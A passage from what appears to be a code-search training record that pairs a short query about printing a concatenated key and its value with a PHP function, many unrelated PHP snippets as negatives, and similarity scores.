Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Print concatonated key and its value
function PrintData($DepthArray,$Value) { global $LastItem,$Item; if ((count($DepthArray) > 1 )) { $LastItem;} $DepthString=implode(":",$DepthArray); $DepthStringLength=strlen($DepthString); if( $DepthStringLength <80 ) { printf("%-80.80s%s\n",$DepthString,$Value); } else if( $DepthStringLength <120 ) { printf("%-120.120s%s\n",$DepthString,$Value); } else { printf("%s %s\n",$DepthString,$Value); } return(0); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function output($key);", "function debugPair($key,$value){\n debugLog(\"<b>$key</b> -> $value\");\n}", "public function __toString() {\n\t\t$out = '';\n\t\tforeach($this as $key => $value) {\n\t\t\t$out .= \"\\n\\n$key=$value\";\t\n\t\t}\n\t\t$out = trim($out); \n\t\treturn $out; \n\t}", "private function printKey($k, $keysMaxLen, $assoc) {\n\t\t\t$plus = $assoc ? 2 : 0;\n\t\t\t\n\t\t\tif (is_string($k)) {\n\t\t\t\t\n\t\t\t\t$k = \"\\\"{$k}\\\"\";\n\t\t\t\t\n\t\t\t\tif ($this->doAlignKeys) {\n\t\t\t\t\t$k = str_pad($k, $keysMaxLen+$plus);\n\t\t\t\t\t$k = str_replace(' ', '&nbsp;', $k);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn \"<span style='color: #8b0000'>{$k}</span>\";\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tif ($this->doAlignKeys) {\n\t\t\t\t\t$k = str_pad(strval($k), $keysMaxLen+$plus);\n\t\t\t\t\t$k = str_replace(' ', '&nbsp;', $k);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn \"<span style='color: #8b0000'>{$k}</span>\";\n\t\t\t}\n\t\t}", "function echoKeyValuePair($key, $value)\r\n{\r\n if (is_array($value))\r\n {\r\n foreach ($value as $subItem)\r\n {\r\n echoKeyValuePair($key, $subItem);\r\n }\r\n }\r\n \r\n else\r\n { \r\n echo $key.\" => \".$value.PHP_EOL;\r\n }\r\n}", "function erp_print_key_value( $label, $value, $sep = ' : ', $type = 'text' ) {\n if ( empty( $value ) ) {\n $value = '&mdash;';\n\n } else {\n switch ( $type ) {\n case 'email':\n case 'url':\n case 'phone':\n $value = erp_get_clickable( $type, $value );\n break;\n }\n }\n\n printf(\n '<label>%s</label> <span class=\"sep\">%s</span> <span class=\"value\">%s</span>',\n wp_kses_post( $label ),\n esc_html( $sep ),\n wp_kses_post( $value )\n );\n}", "protected function objectivateKeyValue(string $key, $value, ?string $qt = null): string\n\t{\n\t\t$str = '';\n\t\t$str .= '{' . $key . ':' . $value . '}';\n\n\t\treturn $str;\n\t}", "protected function showConfigKey($key, InputInterface $input, OutputInterface $output)\n {\n $output->writeln(\"$key - // @TODO Show value here\");\n }", "private function format($key, $val)\n {\n if (is_bool($val)) {\n return sprintf(\"%s\", $key);\n } else {\n return sprintf(\"%s%s%s%s%s\", $key, $this->_split, $this->_quote, $val, $this->_quote);\n }\n }", "public function __toString()\n {\n return sprintf('%01.4f, %01.4f, %01.4f, %01.4f', $this->cyan, $this->magenta, $this->yellow, $this->key);\n }", "function printArray($value, $key) {\n echo $key . \" : \" . $value . \"<br>\";\n }", "private function serializeVariable($key, $value)\n {\n return sprintf('Variable: %s=%s', $key, $value);\n }", "public function output( $sKey ) {\r\n echo $this->get( $sKey );\r\n }", "public function __toString()\n {\n $str = \"\";\n if(is_array($this->params)){\n foreach($this->params as $key => $value){\n $str .= \"$key=$value\\n\";\n }\n }\n\n return $str;\n }", "public function __toString()\n\t{\n\t\t$output = '';\n\n\t\tforeach (array_keys($this->data) as $key) {\n\t\t\tif (is_array($this->data[$key])) {\n\t\t\t\t$output .= implode(PHP_EOL, $this->data[$key]) . PHP_EOL;\n\t\t\t} else {\n\t\t\t\t$output .= $this->data[$key] . PHP_EOL;\n\t\t\t}\n\t\t}\n\n\t\treturn $output;\n\t}", "public function __toString() {\n $fields = $this->fields();\n return implode(', ', array_keys($fields));\n }", "public function key(): string\n {\n return parent::key().':'.$this->tag();\n }", "protected function format_key($key)\n {\n }", "public function formatKey(string $key): string;", "static function key() {\n return implode(self::JOIN, func_get_args());\n }", "function implode_assoc(array $array, $betweenKeyAndValue, $beforeItems='', $afterItems='') {\n\t$result = '';\n\tforeach ($array as $k=>$v) {\n\t\t$result .= $beforeItems.$k.$betweenKeyAndValue.$v.$afterItems;\n\t}\n\treturn $result;\n}", "function _echo( $option_key ) {\n\t\tbf_echo_option( $option_key, $this->option_panel_id );\n\t}", "public function __toString() {\n\t\treturn sprintf(\"%s: %s\", $this->getName(), $this->getValue());\n\t}", "function display($content)\n{\n foreach($content as $key => $value) \n {\n\t print_r($key.\"=>\");\n print_r($value);\n print_r(\"\\n\");\n }\n}", "function concat_attr() {\n $str = \"\";\n if ($this->other_attr != NULL) {\n foreach($this->other_attr as $field => $value) {\n $str .= $field.'=\"'.$value.'\" ';\n }\n }\n return $str;\n }", "protected function realiseCurrentPair(): string\n {\n if ($this->generatorFormat == self::FORMAT_PHP) {\n $key = $this->lazyTail->key();\n $value = $this->lazyTail->current();\n } else {\n [$value, $key] = $this->lazyTail->current();\n }\n\n $safeKey = is_valid_key($key) ? $key : convert_to_key($key);\n\n $this->index[$safeKey] = $key;\n $this->array[$safeKey] = $value;\n\n return $safeKey;\n }", "public function __toString(){\n\t\t\t$str = \"<br/>\" . strtoupper($this->class);\n\t\t\t$str .= \"<br/>Primary Key(s): \";\n\t\t\tforeach ($this->keys as $key => $value) {\n\t\t\t\t$str .= \"($value => \".$this->$value.\")\";\n\t\t\t}\n\t\t\t$str .= \"<br/>Properties: \";\n\t\t\tforeach ($this->columns as $key => $value) {\n\t\t\t\t$str .= \"($value => \".$this->$value.\")\";\n\t\t\t}\n\t\t\treturn $str;\n\t\t}", "function _dumpNode($key,$value,$indent) {\n\t// do some folding here, for blocks\n\tif (strpos($value,\"\\n\") !== false || strpos($value,\": \") !== false || strpos($value,\"- \") !== false) {\n\t\t$value = $this->_doLiteralBlock($value,$indent);\n\t} else {\n\t\t$value = $this->_doFolding($value,$indent);\n\t}\n\n\tif (is_bool($value)) {\n\t\t$value = ($value) ? \"true\" : \"false\";\n\t}\n\n\t$spaces = str_repeat(' ',$indent);\n\n\tif (is_int($key)) {\n\t\t// It's a sequence\n\t\t$string = $spaces.'- '.$value.\"\\n\";\n\t} else {\n\t\t// It's mapped\n\t\t$string = $spaces.$key.': '.$value.\"\\n\";\n\t}\n\treturn $string;\n\t}", "function assocArgsToStr($assoc_args) {\n $return = '';\n\n foreach ($assoc_args as $key => $value) {\n if ($value === true) {\n $return .= \" --$key\";\n } else {\n $return .= \" --$key=\" . escapeshellarg($value);\n }\n }\n\n return $return;\n}", "public function __toString(){\n return $this->get_name() . \"=\" . \"'\". $this->get_values() . \"'\";\n }", "function Array2Str($kvsep, $entrysep, $a){\n $str = \"\";\n foreach ($a as $k=>$v){\n $str .= \"{$k}{$kvsep}{$v}{$entrysep}\";\n }\n return $str;\n}", "function _ddPrint($val, $key) {\n\n global $_dOp;\n\n if (is_array($val)) {\n $_dOp .= \"$key<ul><br />\\n\";\n array_walk($val, '_ddPrint');\n $_dOp .= \"</ul>\";\n return;\n }\n\n $tVal = $val;\n\n // cleanup\n if (isset($val) && $val == '') { $tVal = '[blank string]'; }\n if ($val === false ) { $tVal = 'false'; }\n if ($val === true ) { $tVal = 'true'; }\n if ($val === NULL) { $tVal = '[NULL]'; }\n \n if (is_object($val)) {\n $classVars = get_class_vars(get_class($val));\n $obj = $val;\n $tVal = \"<ul><br />\\n\";\n foreach ($classVars as $n => $v) { \n $v = $obj->$n;\n if ($v === false ) { $v = 'false'; }\n if ($v === true ) { $v = 'true'; }\n if ($v === NULL) { $v = '[NULL]'; }\n if (isset($v) && $v == '') { $v = '[blank string]'; }\n $tVal .= \"$n -> $v<br />\\n\";\n }\n $tVal .= \"</ul>\";\n }\n\n $_dOp .= \"$key => $tVal<br />\\n\";\n\n}", "public static function l($key)\n {\n echo static::get($key);\n }", "public function toString()\n {\n $data = $this->getProperties();\n $out = get_class($this).' ('.CRLF;\n foreach ($data as $key => $value) {\n $type = gettype($value);\n $value = is_bool($value) ? (int) $value : $value;\n $value = is_string($value) ? '\"'.$value.'\"' : $value;\n $value = is_object($value) ? implode(CRLF.TAB, explode(CRLF, (string) $value)) : $value;\n $value = is_array($value) ? print_r($value, true) : $value;\n $out .= TAB.$key.' ('.$type.')';\n $out .= ': '.$value.CRLF;\n }\n\n return $out.');';\n }", "protected function composeKey() {\n\t\t$this->path = array_merge($this->trace, [$this->lastKey]);\n\t}", "function decode($value,$key){\n \techo \"$key : $value\".\"\\n\";\n }", "function _echo_esc_attr( $option_key ) {\n\t\techo esc_attr( bf_get_option( $option_key, $this->option_panel_id ) );\n\t}", "public function key($key) {\n return $this->options['prefix'] . $key;\n }", "public static function getCredentialsKeysString() : string\n {\n return implode(',', array_keys(self::CREDENTIALS));\n }", "public function toString() {\n return \"userId : \" . $this->userId . \": item : \" . $this->item . \" : value : \" . $this->value;\n }", "function ss_print_attributes($arr_data){\n\t\t$str_data = \"\";\n foreach ($arr_data as $key => $value) {\n \t$str_data .= $key.\"='\".$value.\"'\";\n }\n return $str_data;\n\t}", "public function renderKeys()\n\t{\n\t}", "public function buildKey($key): string;", "function print_html($value, $key)\r\n\t{\r\n\t\tif (is_array($value))\r\n\t\t{\r\n\t\t\tarray_walk($value,\"print_html\");\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\techo ($key.\" => \".$value.\"\\n<br>\\n\");\r\n\t\t}\r\n\t\t\r\n\t\treturn;\r\n\t}", "public function __get($key)\n\t{\n\t\treturn t($key);\n\t}", "private function contextToString($context) {\n $export = '';\n foreach ($context as $key => $value) {\n $export .= \"{$key}: \";\n $export .= preg_replace(array(\n '/=>\\s+([a-zA-Z])/im',\n '/array\\(\\s+\\)/im',\n '/^ |\\G /m',\n ), array(\n '=> $1',\n 'array()',\n ' ',\n ), str_replace('array (', 'array(', var_export($value, true)));\n $export .= PHP_EOL;\n }\n return str_replace(array('\\\\\\\\', '\\\\\\''), array('\\\\', '\\''), rtrim($export));\n }", "public function ovpnDisplayConfigSet()\n {\n foreach ($this as $key=>$value) {\n echo \"$key = $value<br />\\n\";\n }\n }", "public function toString()\n {\n return sprintf('%s: %s', $this->getFieldName(), $this->getFieldValue());\n }", "public function toString($glue = ',')\n {\n return implode($glue, $this->hash);\n }", "private function writeKeyValues(array $arr)\n\t{\n\t\t$buffer = \"\";\n\t\tforeach ($arr as $key => $value) {\n\t\t\t$keyLength = strlen($key);\n\t\t\t$valueLength = strlen($value);\n\t\t\tif ($keyLength <= 0x7f) {\n\t\t\t\t$buffer .= pack(\"C\", $keyLength);\n\t\t\t} else {\n\t\t\t\t$buffer .= pack(\"N\", $keyLength | 0x80000000);\n\t\t\t}\n\t\t\tif ($valueLength <= 0x7f) {\n\t\t\t\t$buffer .= pack(\"C\", $valueLength);\n\t\t\t} else {\n\t\t\t\t$buffer .= pack(\"N\", $keyLength | 0x80000000);\n\t\t\t}\n\t\t\t$buffer .= $key;\n\t\t\t$buffer .= $value;\n\t\t}\n\t\treturn $buffer;\n\t}", "static public function quoteKey($value)\n {\n if (is_int($value)) {\n return $value;\n } elseif (is_float($value)) {\n return sprintf('%F', $value);\n }\n return \"`\" . addcslashes($value, \"\\000\\n\\r\\\\'\\\"\\032\") . \"`\";\n }", "public function makeKeyPretty($activeKey)\n\t{\n\t\t$ak = NData::base64UrlEncode($activeKey);\n\t\t$compareKeyChars = array(1,5,2,7,3,9,11);\n\t\t$key = '';\n\t\tforeach($compareKeyChars as $index)\n\t\t\t$key .= substr ($ak, $index, 1);\n\t\treturn $key;\n\t}", "protected function makeKeyString($key): string {\n return \"\";\n }", "private function contextToString($context)\n {\n $export = '';\n foreach ($context as $key => $value) {\n $export .= \"{$key}: \";\n $export .= preg_replace(array(\n '/=>\\s+([a-zA-Z])/im',\n '/array\\(\\s+\\)/im',\n '/^ |\\G /m'\n ), array(\n '=> $1',\n 'array()',\n ' '\n ), str_replace('array (', '(', var_export($value, true)));\n $export .= PHP_EOL;\n }\n return str_replace(array('\\\\\\\\', '\\\\\\''), array('\\\\', '\\''), rtrim($export));\n }", "function c2($k, $v ) {\n global $cfg;\n $cfg[] = ($v == '' || strstr($v, ' '))\n ? sprintf('%-15s \"%s\"', $k, $v)\n : sprintf('%-15s %s', $k, $v);\n}", "public function raw(): string\n {\n return $this->key;\n }", "public static function concat(string $key, string $str, string $default = NULL): string {\n\t\treturn self::set ( $key, self::get ( $key, $default ) . $str );\n\t}", "public function key()\n\t{\n\t\t$var=key($this->var);\n\t\techo \"Key : $var\\n\";\n\t\treturn $var;\n\t}", "#[Pure] public function __toString(): string\n {\n return $this -> name . \"=\" . $this->get_values();\n }", "public abstract function printValue($value);", "function displayProperties ()\n {\n foreach ($this as $key => $property)\n {\n echo $key . ':' . $property . '<br>';\n }\n }", "public function __toString()\n {\n $options = array();\n foreach ($this as $key => $value) {\n if ($value === true) {\n $options[] = $key;\n }\n }\n sort($options);\n\n return implode(\"\\n\", $options);\n }", "private function append($key, $val)\n {\n $this->_data[$key] = sprintf(\"%s%s%s\", $this->_data[$key], $this->_join, $val);\n }", "function toDebugStr()\n {\n $str = \"\";\n foreach (array_keys(get_class_vars(get_class($this))) as $k) {\n if ($k != \"con\") {\n $str = $str . \"$k [\" . $this->$k . \"]\\n\";\n }\n\n }\n return $str;\n }", "protected static function _key($service, $key = 'token') {\n\t\treturn implode('-', array($service, Environment::get(), $key));\n\t}", "public function __toString()\n {\n $retval = \"\";\n foreach($this->vector as $k => $v)\n {\n $retval .= \"$v \";\n }\n return $retval;\n }", "public function get_appended_key ( $key = '' )\n {\n $_key = $this->get_key();\n\n // If a key was given, ensure it's appended\n if ( ! empty( $key ) )\n {\n $_key .= ':' . sanitise_key( $key );\n }\n\n return $_key;\n }", "public function toString() {\r\n return implode($this->result);\r\n }", "public function __toString() {\n $context = array();\n foreach ($this->properties as $key => $value) {\n if ($value instanceof \\DateTime) {\n $context[] = \"$key=\".$value->format('Y-m-d\\TH:i:s');\n } else { \n $context[] = \"$key=$value\";\n }\n }\n return '[ Fire.Business.Model.ExternalAccount: ' . implode(' ', $context) . ' ]';\n }", "public function render($key)\n\t{\n\t\tif ( ! $this->bag->has($key)) return;\n\n\t\treturn str_replace(\n\t\t\t[':type', ':messages'],\n\t\t\t[$key, implode(PHP_EOL, $this->bag->get($key))],\n\t\t\t$this->wrapper\n\t\t) . PHP_EOL;\n\t}", "public function toString() {\n return 'is similar to ' . $this->exporter->export($this->value);\n }", "public function display_api_key() {\r\n\t\t$key = 'inf_key';\r\n\r\n\t\tif ( isset( $this->existing_options[$key] ) && $this->existing_options[$key] )\r\n\t\t\t$existing_value = $this->existing_options[$key];\r\n\t\telse\r\n\t\t\t$existing_value = '';\r\n\r\n\t\t$id = $key;\r\n\t\tsettings_errors( $id );\r\n\t\techo '<input type=\"password\" name=\"' . self::OPTION_NAME . '[' . $key . ']\" id=\"' . $id . '\"';\r\n\t\tif ( $existing_value )\r\n\t\t\techo ' value=\"' . esc_attr( $existing_value ) . '\"';\r\n\t\techo ' size=\"40\" autocomplete=\"off\" pattern=\"[a-zA-Z0-9-_]+\" />';\r\n\r\n\t\techo '<p class=\"description\">' . __( 'Not sure what the API key is or where to get it? <a target=\"_blank\" href=\"http://kb.infusionsoft.com/index.php?/article/AA-00442/0/How-do-I-enable-the-Infusionsoft-API.html\">Click here</a>', 'fb-eventpresso' ) . '</p>';\r\n\t}", "public function __toString() {\r\n $ret = '';\r\n\r\n foreach($this->headers as $key => $value) {\r\n $ret .= $key . ': ' . $value . \"\\n\";\r\n }\r\n\r\n return rtrim($ret);\r\n }", "function list_items($items) {\n $string = '';\n foreach ($items as $key => $item) {\n $key++;\n $string .= \"[{$key}] {$item}\". PHP_EOL;\n\n }\n \nreturn $string;\n}", "public function __toString()\n {\n $prefix = $this->getPrefix();\n \n $tmp = array();\n foreach ($this->items as $i) {\n $tmp[] = sprintf('%s%s', $prefix, $i);\n }\n \n return implode($tmp, ' | ');\n }", "public function display_option_client_key() {\n $client_key = $this->options['client_key'];\n $this->display_input_text_field('client_key', $client_key);\n?>\nThe key that the server requires for authentication, passed in the <code><?php esc_attr_e($this->plugin->query_var()); ?></code> parameter.\n<?php\n }", "public abstract function printLabelValuePairs($pairs);", "function dump(&$var, $info = FALSE)\n{\n\t$scope = false;\n\t$prefix = 'unique';\n\t$suffix = 'value';\n\n\tif($scope) $vals = $scope;\n\telse $vals = $GLOBALS;\n\n\t$old = $var;\n\t$var = $new = $prefix . rand() . $suffix; $vname = FALSE;\n\tforeach($vals as $key => $val) if($val === $new) $vname = $key;\n\t$var = $old;\n\n\techo \"<pre style='margin: 0px 0px 10px 0px; display: block; background: white; color: black; font-family: Verdana; border: 1px solid #cccccc; padding: 5px; font-size: 10px; line-height: 13px;'>\";\n\tif($info != FALSE) echo \"<b style='color: red;'>$info:</b><br>\";\n\tdo_dump($var, '$'.$vname);\n\techo \"</pre>\";\n}", "protected function assocToString($array, $keyValueSeparator = ' - ', $pairSeparator = '; ')\n {\n if (! is_array($array)) {\n return print_r($array, true);\n }\n\n foreach ($array as $key => &$value) {\n $value = $key . $keyValueSeparator . $value;\n }\n return implode($pairSeparator, $array);\n }", "function school( $key, $echo = TRUE ) {\n $schoolData = '';\n switch ( strtolower( $key ) ) {\n case 'name':\n # code...\n break;\n\n case 'url':\n default:\n $schoolData = url();\n $schoolData .= trailing_slash( get_unique_name() );\n break;\n }\n\n if ( $echo === TRUE )\n echo $schoolData;\n else\n return $schoolData;\n }", "function serialize_keys($keys)\n\t{\n\t\t$ak = array();\n\t\tif(!is_array($keys)) $keys = array($keys);\n\t\tif(ACCESS_MODEL == \"discrete\") {\n\t\t\tforeach($keys as $key) {\n\t\t\t\tif(substr($key, 0, 3) == '-- ') {\n\t\t\t\t\t// regular key\n\t\t\t\t\t$ak[] = substr($key, 3);\n\t\t\t\t} else {\n\t\t\t\t\t// group name, include all keys under it\n\t\t\t\t\tforeach($GLOBALS['ACCESS_KEYS'][$key] as $v) $ak[] = $v;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if(ACCESS_MODEL == \"roles\") {\n\t\t\t// no action necessary\n\t\t\t$ak = $keys;\n\t\t}\n\t\treturn join(',', array_unique($ak));\n\t}", "public function key() {\n return serialize($this->currentKey);\n }", "public function __toString() {\n $params = [];\n $str = '';\n foreach ($this->data as $x => $row) {\n $str .= '[ ';\n foreach ($row as $y => $value) {\n $str .= \"%s \";\n $params[] = $value;\n }\n $str .= \"]\\n\";\n }\n return vsprintf($str, $params);\n }", "function toString() {\r\n\r\n\t\t$sb = 'ForwardConfig[';\r\n\t\t$sb .= 'name=';\r\n\t\t$sb .= $this->name;\r\n\t\t$sb .= ',path=';\r\n\t\t$sb .= $this->path;\r\n\t\t$sb .= ',redirect=';\r\n\t\t$sb .= $this->redirect;\r\n\t\t$sb .= ']';\r\n\t\treturn $sb;\r\n\r\n\t}", "function listApps($key) {\n echo \"Key: (\" . $key . \")\";\n}", "function print_row($key, $row)\n{\n printf('Reading data for row %s' . PHP_EOL, $key);\n foreach ((array) $row as $family => $cols) {\n printf('Column Family %s' . PHP_EOL, $family);\n foreach ($cols as $col => $data) {\n for ($i = 0; $i < count($data); $i++) {\n printf(\n \"\\t%s: %s @%s%s\" . PHP_EOL,\n $col,\n $data[$i]['value'],\n $data[$i]['timeStamp'],\n $data[$i]['labels'] ? sprintf(' [%s]', $data[$i]['labels']) : ''\n );\n }\n }\n }\n print(PHP_EOL);\n}", "protected function cbToTplVar($key)\n {\n return '##' . $key . '##';\n }", "public function getToString()\n {\n $get = $this->allGet();\n $formatted = array();\n foreach($get as $name => $val) {\n $formatted[] = \"$name=$val\";\n }\n\n return implode('&', $formatted);\n }", "function listItems($var)\n{\n\n $string = '';\n\n foreach ($var as $key => $value) {\n $key++;\n $string .= \"[$key]\" . $value . PHP_EOL;\n }\n\n return $string; \n}", "function tracking_serialize($input)\n{\n\t$out = '';\n\tforeach ($input as $key => $value)\n\t{\n\t\tif (is_array($value))\n\t\t{\n\t\t\t$out .= $key . ':(' . tracking_serialize($value) . ');';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$out .= $key . ':' . $value . ';';\n\t\t}\n\t}\n\treturn $out;\n}", "public function __toString()\n {\n $textLabels = $this->_getTextLabels();\n $out = array();\n\n foreach ($this->_attr as $attr => $value) {\n if (isset($textLabels[$attr])) {\n if (in_array($attr, array(\n self::EXPIRE_MONTH,\n self::EXPIRE_YEAR,\n self::NUMBER\n ))) {\n $out[] = sprintf('%15s %s (Encrypted: %s)',\n $textLabels[$attr] . ':',\n $value,\n substr($this->get($attr, true), 0, 8) . '...'\n );\n } else {\n $out[] = sprintf('%15s %s', $textLabels[$attr] . ':', $value);\n }\n }\n }\n\n return implode(\"\\n\", $out) . \"\\n\";\n }", "public function __toString()\n {\n if ($this->timer !== null)\n {\n $this->values['elapsedTime'] = $this->timer->getElapsedTime();\n }\n\n return $this->name.'|'.uArray::assocArrayToPrintableString($this->values);\n }", "protected function concatenateIntoString(array $iterable = null, $key, $nested = null, $nestedKey = null)\n {\n if (!is_null($iterable)) {\n $placeholders = [];\n\n if (!$nested) {\n foreach ($iterable as $iterate) {\n $placeholders[] = (is_array($iterate) && array_key_exists($key, $iterate)) ? $iterate[$key] : '';\n }\n } else {\n foreach ($iterable as $iterate) {\n if (is_array($iterate) && array_key_exists($key, $iterate)) {\n foreach ($iterate[$key] as $nest) {\n $placeholders[] = (is_array($nest) && array_key_exists($nestedKey, $nest)) ? $nest[$nestedKey] : '';\n }\n }\n }\n }\n\n return implode(';', $placeholders);\n }\n }", "public function __toString() {\r\n\t\t/*$stringReturn = '';\r\n\t\t$j = -1;\r\n\t\tforeach( $this->propreties as $key => $value ) {\r\n\t\t\t$stringReturn .= '<li><u title=\"'.$this->arrayInfos[$key].'\">'. $key . '</u> : ' . $value .'</li>';\r\n\t\t}*/\r\n/*\r\n\t\t$stringReturn .= '</ul>';\r\n*/\r\n var_dump($this);\r\n\t\t//return $stringReturn;\r\n\t}", "public function __toString() {\r\n\t\treturn \"$this->nom $this->prenom ($this->login)\"; \r\n\t}", "public function toString(): string\n {\n return implode(' ', $this->toFields());\n }", "protected function parseKey(): string\n {\n foreach ($this->getParams() as $key => $value) {\n $this->key = \\str_replace($key, $value, $this->key);\n }\n\n return $this->key;\n }", "public static function getPrintableCompositeKey($compositeKey)\n {\n self::initialize();\n\n $keys = array_keys($compositeKey);\n $ids = array_values($compositeKey);\n\n $value = '(';\n $value .= $keys[0] . ' => ' . $ids[0] . ', ';\n $value .= $keys[1] . ' => ' . $ids[1];\n $value .= ')';\n\n return $value;\n }", "function print_titles($row){\n echo implode(array_keys($row), \",\") . \"\\n\";\n}", "public function __toString()\n\t{\n\t\t$ret = get_called_class().'( ';\n\t\t$t = 0;\n\t\tforeach (get_object_vars($this) as $k => $v)\n\t\t{\n\t\t\tif ($k[0] == '_')\n\t\t\t{\n\t\t\t\t$key = substr($k, 1);\n\t\t\t\tif (method_exists(get_called_class(),\n\t\t\t\t\t\t($funname = 'get'.ucfirst(substr($k, 1)))))\n\t\t\t\t\t\t\t$val = $this->$funname();\n\t\t\t\telse\n\t\t\t\t\t$val = $v;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$val = $v;\n\t\t\t\t$key = $k;\n\t\t\t}\n\t\t\t$key .= ':';\n\t\t\tif (gettype($val) == \"array\")\n\t\t\t\t$str = str_replace(\" \", \"\", str_replace(\"\\n\", \"\", var_export($val, true)));\n\t\t\telse if (gettype($val) == \"double\")\n\t\t\t\t$str = sprintf(\"%.2f\", $val);\n\t\t\telse if (is_a($val, \"Color\") or ($val == null and $k === \"_color\"))\n\t\t\t{\n\t\t\t\tif (!self::$verbose or $val == null)\n\t\t\t\t\tcontinue ;\n\t\t\t\t$str = $val;\n\t\t\t\t$key = '';\n\t\t\t}\n\t\t\telse\n\t\t\t\t$str = var_export($val, true);\n\t\t\tif ($t)\n\t\t\t\t$ret .= \", \";\n\t\t\telse\n\t\t\t\t$t = 1;\n\t\t\t$ret .= $key.$str;\n\t\t}\n\t\t$ret .= ' )';\n\t\treturn $ret;\n\t}", "private function dump()\n\t{\n\t\t$slab\t= $this->option_args_1 ? $this->option_args_1 : 0;\n\t\t$limit\t= $this->option_args_2 ? $this->option_args_2 : self::DEFAULT_LIMIT;\n\t\t$key_list = $this->get_key_list($slab, $limit);\n\n\t\tif($key_list){\n\t\t\t$this->init_memcached();\n\t\t\tforeach ($key_list as $row) {\n\t\t\t\t$item = $this->memcached->get($row);\n\t\t\t\techo $row . \" => \\n\";\n\t\t\t\tvar_dump($item);\n\t\t\t\techo \"\\n\";\n\t\t\t}\n\t\t}\n\n\t\treturn;\n\t}" ]
[ "0.6305631", "0.61827075", "0.616274", "0.60294205", "0.6013852", "0.5910464", "0.58695066", "0.5833334", "0.57660943", "0.5732719", "0.57325613", "0.5732216", "0.5721763", "0.5716508", "0.56985563", "0.5668172", "0.56644034", "0.5621089", "0.56184316", "0.5588964", "0.5574137", "0.5564653", "0.5564631", "0.5538225", "0.5522868", "0.5511132", "0.5492721", "0.5478612", "0.5446893", "0.5436226", "0.5432899", "0.54220235", "0.5409399", "0.54027027", "0.53891027", "0.53890604", "0.538881", "0.53851557", "0.53801054", "0.5370609", "0.5353428", "0.53137493", "0.53014845", "0.5288334", "0.52851623", "0.52818334", "0.52787876", "0.526512", "0.5261606", "0.52566963", "0.52290446", "0.5226241", "0.5212618", "0.52024233", "0.5194119", "0.518224", "0.51812994", "0.51746684", "0.51624614", "0.5159808", "0.51562566", "0.5145488", "0.51428485", "0.51396126", "0.5139439", "0.51329964", "0.5126804", "0.5113191", "0.5109556", "0.5103219", "0.5102855", "0.50956416", "0.50912637", "0.5085461", "0.50819945", "0.5078518", "0.50563365", "0.5052107", 